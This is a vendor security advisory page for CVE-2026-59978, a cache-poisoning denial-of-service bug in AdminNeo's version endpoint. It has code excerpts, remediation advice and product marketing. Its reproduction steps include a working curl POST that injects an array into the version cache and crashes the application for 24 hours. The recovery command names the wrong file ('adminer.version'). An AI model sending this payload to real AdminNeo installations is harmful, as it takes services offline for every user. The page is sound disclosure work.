CVE-2026-59978

CVE-2026-59978 is a high-severity improper input validation vulnerability in adminneo-org/adminneo (composer), affecting versions >= 4.6.2, < 5.5.0. It is fixed in 5.5.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

AdminNeo: version-cache array injection causes persistent denial of service

AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, function rawurlencode() receives this array instead of string and throws TypeError, returning HTTP 500 to all users for the next 24 hours.

Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh
Although the version checking process was modified in AdminNeo, the root cause persisted.

Workaround

If you can't upgrade, make the file adminneo.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version

The endpoint is designed to receive version data from GitHub via browser JavaScript.

  • functions.js line 110-121: Receives the latest release information from GitHub API by AJAX.
  • JavaScript POSTs version number to ?script=version.
  • Server stores version number in /tmp/adminneo.version file that is used as a shared cache for all users in the same server for the next 24 hours.
// function.js lines 119-120
const data = 'version=' + version + '&token=' + token;
ajax(baseUrl + 'script=version', null, data);

2. The vulnerability

The endpoint only checks $_GET["script"] == "version" - it does not validate:

  • Request origin (CSRF token is present, but not checked for this endpoint)
  • Request source (any HTTP client can POST)
  • Parameter types (version expected as string, array not rejected)
// bootstrap.inc.php lines 44-53
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.

	$file = open_file_with_lock($filename);
	if ($file) {
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}

3. Type confusion crash

When POST contains version[] instead of version, PHP creates an array. When AdminNeo reads this file and passes to cookie() and then to rawurlencode():

// design.inc.php line 40
cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file.

// functions.inc.php lines 398-405
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

PHP 8.x throws:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Steps to Reproduce

(Example URL is for the official AdminNeo Docker image.)

Step 1: Verify AdminNeo is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminneo.version

Expected output:

a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, AdminNeo returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before rawurlencode(), this allows DoS for the next 24 hours.

Affected users: Any AdminNeo instance accessible over the network.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-59978 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.5.0); upgrading removes the vulnerable code path.

Affected versions

adminneo-org/adminneo (>= 4.6.2, < 5.5.0)

Security releases

adminneo-org/adminneo → 5.5.0 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade adminneo-org/adminneo to 5.5.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59978? CVE-2026-59978 is a high-severity improper input validation vulnerability in adminneo-org/adminneo (composer), affecting versions >= 4.6.2, < 5.5.0. It is fixed in 5.5.0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. How severe is CVE-2026-59978? CVE-2026-59978 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of adminneo-org/adminneo are affected by CVE-2026-59978? adminneo-org/adminneo (composer) versions >= 4.6.2, < 5.5.0 is affected.
  4. Is there a fix for CVE-2026-59978? Yes. CVE-2026-59978 is fixed in 5.5.0. Upgrade to this version or later.
  5. Is CVE-2026-59978 exploitable, and should I be worried? Whether CVE-2026-59978 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-59978 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-59978? Upgrade adminneo-org/adminneo to 5.5.0 or later.

Other vulnerabilities in adminneo-org/adminneo

Stop the waste.
Protect your environment with Kodem.